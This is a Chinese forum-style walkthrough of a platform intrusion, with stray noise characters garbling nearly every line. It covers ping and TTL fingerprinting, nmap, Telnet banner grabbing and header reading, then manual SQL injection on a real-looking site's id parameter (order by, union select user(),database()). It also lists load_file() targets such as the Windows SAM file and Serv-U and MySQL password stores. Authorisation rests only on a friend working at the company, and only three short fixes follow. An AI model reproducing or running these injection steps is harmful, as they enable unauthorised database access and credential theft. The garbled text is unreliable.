题记:
$ K) I: T4 E! E一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
2 s) e- o+ j6 s. _9 {+ {' q3 X$ u第一步:获取需要的信息5 g- n+ [0 z3 m4 v& ^# S
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。- C1 t) s% M0 s; n3 o
注:以下为保护特用XXX代替敏感信息7 c! ^8 m+ P3 U6 n: n1 ?8 o
顺手先PING了一下他们的域名:# I1 q, X/ L2 q, V2 W9 X4 o
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
7 |6 B2 R" ~! F$ U+ x X8 \( j64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
$ @: m% W: |1 t; x% ?0 {顺便了解一下TTL,学好基础知识才能一路顺风:2 ` V/ t' }% t
TTL:(Time To Live ) 生存时间
U9 |& z- _/ y6 o1 l, j指定数据包被路由器丢弃之前允许通过的网段数量。
2 y" I4 c8 P% r) k: i8 u6 b; {0 TTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。( ~% L, C0 H6 {' e7 z$ I
使用PING时涉及到的 ICMP 报文类型
( V W: _" A9 H$ s+ L, d Z: w一个为ICMP请求回显(ICMP Echo Request)" h0 O) {) g/ Q/ Z
一个为ICMP回显应答(ICMP Echo Reply): [6 b: T$ D4 m; }0 J0 |
TTL 字段值可以帮助我们识别操作系统类型。; x4 \2 m! G* K. X4 T0 P( O
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
% E6 L" n5 ~( {4 C# qCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 640 n: O9 J2 @0 J \. D! z
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128- J" O0 d4 x8 U7 y" X% |
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* ^8 c+ ?: k" {! t% x. m当然,返回的TTL值是相同的
4 y9 [/ h7 C l! r/ r T但有些情况下有所特殊' j6 k9 O: w1 s6 {
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
, \; V& z6 X# |7 @FreeBSD 4.1, 4.0, 3.4;" F6 }' M. y3 Z3 i
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
$ V/ B# p7 K, c3 V8 JOpenBSD 2.6, 2.7,- Q7 r6 O$ N0 C9 U
NetBSD
( N: \2 i0 ?1 Q. dHP UX 10.20
0 c# t, |! K. K7 J! o; DICMP 回显应答的 TTL 字段值为 255
1 q: g1 s) v+ N0 Y! c' lWindows 95/98/98SE3 a! x$ G! b% i2 C, {/ y
Windows ME
- T( l6 B* g& P4 I: h0 L4 bICMP 回显应答的 TTL 字段值为 32
" X5 Q4 k( R% B2 J8 [Windows NT4 WRKS
. @4 Y- l6 H S8 L2 s! tWindows NT4 Server
9 K) G- {2 g3 x8 c8 v( g3 bWindows 20007 a/ Z2 m' x( T
Windows XP
4 n' n! W& U) | wICMP 回显应答的 TTL 字段值为 128) D7 |# L3 h; X6 h
这样,我们就可以通过这种方法来辨别操作系统
& R" y+ V% f# ]' H7 K7 OTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255+ q# e* i$ v+ _) T3 k) o3 k8 k
用NMAP扫描一下:
- P( K/ V& [; S: C- t8 x5 R7 M+ w' xnmap -sT -O XXX.XXX.XXX.XXX% X/ Y# H6 k4 j0 J7 u
如果没有装WinPcap则会弹出提示: \# G* t4 @4 r/ R- b: f6 ?
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
0 K" a% L* H5 `# V3 t- Lade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
% b) a& A' l! [* s: F2 O% |! }) mode — Nmap may not function completely
* T# M9 p ]9 jTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
, g/ _7 \, J3 {4 iand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
+ i# e7 {7 P6 P r, H$ x# Lpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an8 t" c' S7 |5 L R6 x6 P
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v9 H5 P. K4 U. ^4 q" H
ersions, you may be able to take iphlpapi.dll from another system and place it i
2 M; b# [) R" _+ }& R# hn your system32 dir (e.g. c:\windows\system32).
1 R d8 X! r: A( ?7 bQUITTING!
}5 V: J2 n' d6 [. [ K( @7 z2 |到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
/ o% W9 ]# j. A+ t3 E2 j安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
% @4 x o: M. \2 ]& ?8 |2 d DInteresting ports on XXX.XXX.XXX.XXX:
9 S; k8 Z( f4 b, m( XNot shown: 986 closed ports. D% w: W- {/ ?" | i
PORT STATE SERVICE9 p7 x3 y0 a, [- J/ z6 d
21/tcp open ftp& Q/ j" j0 ~1 C2 b# x6 p
22/tcp open ssh
7 i$ j7 B, T# `8 C _. I6 V5 n23/tcp open telnet
, r3 I: f% d) q- Y+ [& X- H; |80/tcp open http# J$ Q2 T3 u. s5 N' o
111/tcp open rpcbind
3 C! A, X- u/ X" P$ d/ y. e5 j135/tcp filtered msrpc: S! l1 ` R* T
139/tcp filtered netbios-ssn8 ]% s/ T, g- M) M& c4 J
445/tcp filtered microsoft-ds
; S$ ~) c" Q# W2 L. C513/tcp open login
! H" {6 g% K1 L& @( ~$ F# F514/tcp open shell$ G! T1 k# e* G0 q3 \
593/tcp filtered http-rpc-epmap
E; l5 M \- ?+ _( x! J1720/tcp filtered H.323/Q.931
( j+ a0 \5 K$ A. c' C, [3306/tcp open mysql
. g- o8 c+ R5 U0 O7 f3 v7 E4444/tcp filtered krb5244 L+ a. ]3 `# l" [1 S
Device type: WAP$ `9 h9 U1 N/ w( N
Running: Linux 2.4.X) m4 o" P! A* x: s: h9 y
OS details: DD-WRT (Linux 2.4.35s)
# ?$ O2 M1 w) o5 ~Network Distance: 13 hops4 U T3 M3 ?7 ~$ I' U2 Z4 H0 |3 u0 @
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:/ G4 M, ~0 N4 q3 Y
login as:- F' r+ P* s) R1 S# Q
Telnet23端口也是开着的,用telnet 命令链接一下:& J7 F0 c7 e) { S' g0 T% u
telnet XXX.XXX.XXX.XXX
# K4 `' _( w! ~8 \2 M提示:
8 P9 K( a5 ?- QRed Hat Enterprise Linux Server release 5.2 (Tikanga)1 {6 s8 y X7 T9 x
Kernel 2.6.18-92.el5PAE on an i686
+ A7 q0 F" Z) S; plogin:; E# R. X7 @6 Q. c7 u
获取HTTP头信息:0 t6 W& {5 t% h1 g& d& p
在本地执行如下PHP代码: i" P) r @! z; ^2 L' y% q8 b
<?php
& k! y8 u# Y# H7 f9 k! h6 t8 x$url = ‘XXX.XXX.XXX.XXX’;/ C4 T6 g6 f5 N
print_r(get_headers($url));
* G/ p1 b5 w' D: ~print_r(get_headers($url, 1));* o. Z& d7 y% s9 V
?>6 {9 C9 \7 J0 k2 Z% ~
将以上代码保存为PHP文件,执行:
, j! [! S8 x- V" n) N9 tArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )5 Y* c) |+ A6 \4 R
现在可以得出结论:
) }+ m( U" ?9 n系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
8 V0 y8 _1 D9 X$ m1 ?内核版本:Kernel 2.6.18-92.el5PAE on an i686
! j) ~5 @+ O& |* |$ f3 a* gWEB服务器版本:nginx/0.7.61
$ C7 @$ _- j1 @, A第二步,开始测试寻找漏洞; V! Y9 C* x$ i/ z3 [
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
3 p1 c2 d- @/ I& V5 e1 ]9 s1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
' z) t# K: g' q J# q" n2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
( _# O7 C" D3 s" \http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常" v$ X8 z7 h, B2 V0 ^
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误. D9 Y9 _- U' h1 F
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续+ i7 R% Z: Q& v$ D* l: z& b
3、手工注入:
7 D; ]7 Z# c- \注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
2 n$ i$ n. {& ^. k' m$ Z: b3.1 猜测当前表字段数
: [, B% p7 L. o* i/ e" ]# Y+ hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
4 h ~& v! m# @7 o8 a此处猜测有个简单的算法,都是有技巧的吗,呵呵
" l% {, ]3 I2 ^ y算法简单如下:
* p; ?* ~6 ?3 i- d第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;" {: ]1 ^- L5 i: O4 y4 h7 b' K, f
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
, v% `& U% O$ y( g L& i4 i7 A需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。1 L# O" d7 O) G
以此来判断,是否过界,配合取中算法猜出字段数。
5 B2 j. j) U7 {7 n7 s( i举例:$ _% T5 B% b9 G" B F
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
9 \' k A8 I# ?; s. Dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误, D$ D! K5 U& V/ M! X! J+ u2 u
此时3则为我们要找的字段数。* Q, U7 v7 o- [% h/ d
3.2 配合union联合查询字段在页面所位置
+ V2 ]4 [0 f& d4 F' S7 }我们已经知道了字段数为3,此时则可以做如下操作:3 F8 a1 Y0 x) G; s3 q
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
" @; j7 r3 J* A! e' ^. ] r# h/ n1 h0 w& N+ g {4 P
这样就可以测试到哪些字段在页面上有所显示了,如图:+ u; i' v8 J% Q9 Y9 {1 c
" o& n0 ]0 [, U8 f C* B3.3 查敏感信息
' c7 R& ]: m3 J/ f% a; P这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
~; ~% j9 }7 p, _9 l8 @6 m% ~http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(); l1 ~& c4 P. [* {& i
3.3.1 先查数据库用户、数据库名,以备后用,如图:
. n6 ^- n$ Y. c B
& L. }$ J8 L" n% \& ?得到数据库用户为root、数据库名为DBxx;% w4 _9 f6 ?/ D1 Y6 }0 z
3.3.2 查配置文件7 n, n% T# E0 A& e
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。/ ?+ ^4 Q5 K; W( |
查看文件有一定的条件限制:/ {# Q- _/ _% e. x1 }
欲读取文件必须在服务器上
# V- g& E. X9 x/ K必须指定文件完整的路径! n& e, O# a- [) L" x; h h. \7 X
必须有权限读取并且文件必须完全可读
2 x9 {; G) z% x. L$ I欲读取文件必须小于 max_allowed_packet
. B2 g$ L8 z; u& X& `# cMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
) c7 T E5 A1 @4 @1 }+ Q9 A常用的一些:1 \5 J3 e- L2 @9 g: V
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
- {4 h$ x9 {" Q: L/usr/local/apache2/conf/httpd.conf; P, E% d) d2 G! g# A
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
. l$ i3 P! x7 q, q; A( o2 [/usr/local/app/php5/lib/php.ini //PHP相关设置
( X# e$ e; Z7 E4 x( p( g/etc/sysconfig/iptables //从中得到防火墙规则策略# j% {% i6 O! Z! [$ L- ?
/etc/httpd/conf/httpd.conf // apache配置文件
! H( H- D9 B( ]/etc/rsyncd.conf //同步程序配置文件
: C" m$ S7 L& d' T2 t/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.! X& i6 H$ i5 L1 Y" K/ M6 C
/etc/my.cnf //mysql的配置文件" j4 C- w3 y5 u5 J
/etc/redhat-release //系统版本/ ?7 m' R* ~3 Y0 f- u; V2 j# |% T
/etc/issue
* @* ~2 x' w( n! m5 p/etc/issue.net( X. t" }6 ]9 a7 M$ {
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码/ Q% X8 S1 _8 T& q& R3 K
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
; P4 ? c( Y6 Z: s/ i: ^" L. C8 @# ac:\Program Files\Serv-U\ServUDaemon.ini
& N( b- t$ `! f6 k$ ]c:\windows\my.ini //MYSQL配置文件
: J) d5 K2 {$ j4 O1 }; zc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件* V2 u) \1 O. ]: V4 d( p) S+ ?
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
+ a {8 t0 ]" u) q4 u$ gc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
, Z# k+ G" {* Z4 s# l8 nc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: A: [# r$ M$ q* z6 ~& C! U: U# L
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
7 x: J- }% B3 K5 y B" H4 a% ?C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
$ l& S! o3 w4 G$ T" q9 ]//存储了pcAnywhere的登陆密码0 n; d: h1 C) W
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。# a+ m# b/ l6 O" R: |
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。9 e( t( q9 g" U- j1 m% v L
最后:防范措施: [6 t! Z% m, ~+ ^: k+ b
1、修复PHP注入漏洞;
) F' c8 C" p- [' C( F0 E2、Mysql使用普通权限的用户;+ y5 K$ U# f- o! m8 }. t
3、升级linux内核至最新版本; |